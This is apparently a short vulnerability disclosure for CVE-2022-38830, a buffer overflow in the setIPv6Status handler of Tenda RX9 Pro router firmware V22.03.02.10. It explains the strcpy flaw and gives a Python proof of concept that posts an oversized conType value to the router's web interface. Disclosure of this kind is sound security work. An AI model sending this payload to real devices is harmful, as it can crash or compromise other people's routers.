CVE-2022-38830: CVE/setIPv6Status.md at main · whiter6666/CVE

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buffer overflow****Tenda_RX9_Pro

version: V22.03.02.10

Description:

There is a buffer overflow in httpd/setIPv6Status

Source:

you may download it from : https://www.tendacn.com/download/detail-4218.html

Analyse:

get value from conType and call strcpy, cause buff overflow

POC

url = "http://192.168.1.13/goform/setIPv6Status"
payload = 'A'*300 + '\n'

r = requests.post(url, data={'conType': payload})